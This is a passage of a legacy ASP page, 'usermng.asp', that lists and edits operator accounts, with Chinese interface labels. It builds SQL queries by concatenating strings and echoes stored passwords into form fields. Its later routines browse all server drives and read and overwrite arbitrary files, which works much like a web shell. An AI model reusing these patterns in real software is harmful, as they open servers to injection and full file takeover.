📄 usermng.asp
字号:
<td width="90%" align="left"><input type="password" name="NewPasswd" size="20" value='<%=Encrypt(sql(3))%>'></td>
<td width="10%" align="right">校验密码：</td>
<td width="90%" align="left"><input type="password" name="VerPasswd" size="20" value='<%=Encrypt(sql(3))%>'></td>
</tr>
<tr>
<td width="10%" align="right">联系电话：</td>
<td width="90%" align="left"><input type='text' name='str_sOperPhone' value='<%=sql(4)%>'></td>
<td width="10%" align="right">手机号码：</td>
<td width="90%" align="left"><input name="str_sOperMobilePhone" size="20" value='<%=sql(5)%>'></td>
</tr>
<tr>
<td width="10%" align="right">电子邮件：</td>
<td width="90%" align="left"><input type='text' name='str_sOperEmail' value='<%=sql(6)%>'></td>
<td width="10%" align="right">所 属 组：</td>
<td width="90%" align="left">
<select name="int_sOperGrpID" class=text2>
<option value="0">----请选择所属组----</option>
<%
set sql1=conn.Execute("select int_sOperGrpID,str_sOperGrpName from web_SysOperGroup order by int_sOperGrpID desc")
while not sql1.eof
response.write("<option value="&sql1(0)&">"&sql1(1)&"</option>")
sql1.movenext
wend
%>
</select>
</td>
</tr>
</table>
<table border="0" width="100%" cellspacing="0" cellpadding="0" bgcolor="#D6D3CE">
<tr>
<td height="6"></td>
</tr>
<tr>
<td height="2" align="center">
<%if wxl="Modi" then%>
<SCRIPT LANGUAGE="JavaScript">
<!--
document.form1.int_sOperGrpID.value='<%=sql(8)%>';
//-->
</SCRIPT>
<input type="submit" value=" 修 改" name="B1" class="submit" style="width:60; height:25;">
<%else%>
<input type="submit" value=" 确 认" name="B1" class="submit" style="width:60; height:25;">
<%end if%>
<input type="reset" value=" 返 回" name="B2" class="submit" style="width:60; height:25;" onClick="history.back();"></td>
</tr>
<tr>
<td height="6"></td>
</tr>
</table>
<input type=hidden name="wxl" value="Add">
<input type=hidden name="NewOperatorId" value="<%=NewOperatorId%>">
</form>
<%
HtmlEnd
end sub
'显示操作员列表
sub ShowLookHtml()
set sql2=server.createobject("ADODB.recordset")
Query="select * from web_SysOperators where bln_sOperIsDeleted=0 order by int_sOperShowIndex"
sql2.open Query,conn,1,1
sql2.PageSize=CLng(PageSize)
if Page>sql2.PageCount then Page=sql2.PageCount
if not(sql2.eof) then
sql2.absolutepage=CLng(Page)
end if
PageNum=sql2.PageCount
Rows=sql2.RecordCount
call HtmlListHead("[操作员列表]",sql2.RecordCount,sql2.PageCount,Page,"<a href='"&UrlName&"?wxl=ShowHtml'>新建操作员</a>",UrlFile&"?RootDept="&RootDept)
%>
<TABLE class=coolTable cellSpacing=0 cellPadding=2 altRowColor="oldlace" borderStyle="2" align="center">
<THEAD>
<TR align=middle>
<TD align="center">编号</TD>
<TD align="center">姓名</TD>
<TD align="center">登录名</TD>
<TD align="center">联系电话</TD>
<TD align="center">手机号码</TD>
<TD align="center">电子邮件</TD>
<TD align="center">所属组</TD>
<TD width=80 align="center">操 作</TD>
</TR>
</THEAD>
<TBODY>
<%for i=1 to Pagesize
if sql2.eof then exit for
%>
<TR>
<td ><%=sql2("int_sOperID")%></td>
<td ><%=sql2("str_sOperName")%></td>
<td ><%=sql2("str_sOperLoginName")%></td>
<td ><%=sql2("str_sOperPhone")%></td>
<td ><%=sql2("str_sOperMobilePhone")%></td>
<td ><%=sql2("str_sOperEmail")%></td>
<TD><%=GetName("select str_sOperGrpName from web_SysOperGroup where int_sOperGrpID='"&sql2("int_sOperGrpID")&"'")%></TD>
<TD >
<a href=<%response.write(UrlFile&"?wxl=Modi&NewOperatorId="&sql2("int_sOperID")&"&MenuId="&MenuId)%>>修改</a>
<a href=<%response.write("javascript:confirmDel('"&sql2("int_sOperID")&"')")%>>删除</a>
</TD>
</TR>
<%
sql2.movenext
next
if i<>18 then
for i=i to 18
%>
<TR>
<td> </td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<TD></TD>
</TR>
<%
next
end if
%>
</TBODY></TABLE>
<%
HtmlListEnd sql2.RecordCount,sql2.PageCount,Page,"<a href='"&UrlName&"?wxl=ShowHtml&RootDept="&RootDept&"'>新建操作员</a>",UrlFile&"?RootDept="&RootDept
end sub
function GetGroupName(GroupId)
set tmpSql=Conn.Execute("select GroupName from web_SysOperatorsGroup where GroupId='"&GroupId&"'")
if tmpSql.eof then
GetGroupName=" "
else
GetGroupName=tmpSql("GroupName")
end if
end function
sub FindHtml()
%>
<table border="0" cellspacing="1" cellpadding="1" align="center">
<form name="form2" method="post" action=<%=request.servervariables("SCRIPT_NAME")%>>
<tr align="center">
<td class="pt1"> 姓名：</td>
<td >
<input type="text" name="QueryString" class="text2">
</td>
<td >
<input type="submit" name="Submit" value="查询" class=submit>
<input type="hidden" name="MenuId" value='<%=KindId%>'>
<input type="hidden" name="DeptID" value='<%=DeptId%>'>
</td>
</tr>
</table>
</form>
<%
end sub
sub GetDrives()
dim DriveName(10)
DriveName(1)="<img src='images/35FLOPPY.ICO' height=20>"
DriveName(2)="<img src='images/DRIVE.ICO' height=20>"
DriveName(4)="<img src='images/CDDRIVE.ICO' height=20>"
response.write "<div align=center>程序运行目录:"&server.mappath("/")&"\</div>"
response.write "<table width=600 border='0' cellspacing='1' cellpadding='1' bgcolor='#6699FF' align=center><tr>"
for each thing in MyFileObject.Drives
response.write "<td bgcolor=#ffffff>"&DriveName(thing.Drivetype)&"<a href='"&FileName&"?wxl=LookDir&Root="&thing.DriveLetter&":\'>"
if thing.IsReady then
response.write thing.VolumeName
else
if thing.Drivetype=1 then
response.write "3.5软盘"
elseif thing.Drivetype=4 then
response.write "光盘"
else
response.write "本地磁盘"
end if
end if
response.write "("&thing.DriveLetter&"：)</a></td>"
next
response.write "</tr></table>"
end sub
sub GetDir(tmpRoot)
on error resume next
set MyFolder=MyFileObject.GetFolder(tmpRoot)
response.write "<table width=600 border='0' cellspacing='1' cellpadding='1' bgcolor='#6699FF' align=center>"
response.write "<tr bgcolor=#FFFFFF><td colspan=2>当前目录："&tmpRoot&"<input type='hidden' name='tmpRoot' value='"&tmpRoot&"'></td><td align=right>"
if not MyFolder.IsRootFolder then response.write "<a href='"&FileName&"?wxl=LookDir&Root="&MyFolder.parentFolder&"'>返回上级</a>"
response.write " </td></tr>"
response.write "<tr bgcolor=#DDDDDD><td width=390>名称</td><td align=right>大小</td><td width=120> 修改时间</td></tr>"
for each thing in MyFolder.subFolders
response.write "<tr bgcolor=#ffffff><td><input type='radio' name='FileName' value='"&thing&"'><img src='images/CLSDFOLD.ICO' height=16><a href='"&FileName&"?wxl=LookDir&Root="&thing&"'>"&thing&"</a></td><td align=right>0</td><td> "&thing.DateLastModified&"</td></tr>"
next
for each thing in MyFolder.files
response.write "<tr bgcolor=#ffffff><td><input type='radio' name='FileName' value='"&thing&"'><img src='images/006.ICO' height=16>"&thing&"</td><td align=right>"
if round(thing.size/1024)>1000 then response.write round(thing.size/1024)/1000&"MB" else response.write round(thing.size/1024)&"K"
response.write "</td><td> "&thing.DateLastModified&"</td></tr>"
next
response.write "</table>"
end sub
sub GetMng()
response.write "<table width=600 border='0' cellspacing='1' cellpadding='1' bgcolor='#6699FF' align=center>"
response.write " <tr> "
response.write " <td>目标： "
response.write " <input type='text' name='txtInput' size=35><br><input type='radio' name='Kind' value='0' checked>目录<input type='radio' name='Kind' value='1'>文件"
response.write " </td>"
response.write " <td>操作："
response.write " <input type='submit' name='submit' value='新建' onClick=form.wxl.value='New'>"
response.write " <input type='submit' name='submit' value='复制' onClick=form.wxl.value='Copy'>"
response.write " <input type='submit' name='submit' value='移动' onClick=form.wxl.value='Move'>"
response.write " <input type='submit' name='submit' value='删除' onClick=form.wxl.value='DelOper'>"
response.write " <input type='submit' name='submit' value='编辑' onClick=form.wxl.value='Edit'>"
response.write " <input type='hidden' name='wxl' value=''>"
response.write " </td>"
response.write " </tr>"
response.write " </table>"
end sub
sub GetFileContent()
dim objTextStream
set objTextStream=MyFileObject.OpenTextFile(PathName,1)
response.write "<table width=600 border='0' cellspacing='1' cellpadding='1' bgcolor='#6699FF' align=center>"
response.write "<tr bgcolor=#FFFFFF><td colspan=2>当前目录："&tmpRoot&"<input type='hidden' name='Root' value='"&tmpRoot&"'></td><td align=right colspan=2>"
response.write "<a href='"&FileName&"?wxl=LookDir&Root="&tmpRoot&"'>返回上级</a>"
response.write " </td></tr><tr bgcolor=#ffffff><td colspan=3 >"
response.write "<TEXTAREA NAME='txtContent' ROWS='30' COLS='120'>"&objTextStream.ReadALl&"</TEXTAREA>"
response.write "</td></tr>"
response.write "<tr bgcolor=#ffffff align=center><td colspan=3><input type='submit' name='submit' value='保 存'><input type='hidden' name='wxl' value='Save'><input type='hidden' name='FileName' value='"&PathName&"'></td></tr>"
response.write "</table></form>"
objTextStream.close
end sub
sub SaveFileContent()
dim objTextStream
set objTextStream=MyFileObject.CreateTextFile(PathName,True)
txtContent=request("txtContent")
objTextStream.Write txtContent
objTextStream.Close
GetDrives
GetMng
GetDir(Root)
end sub
%>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -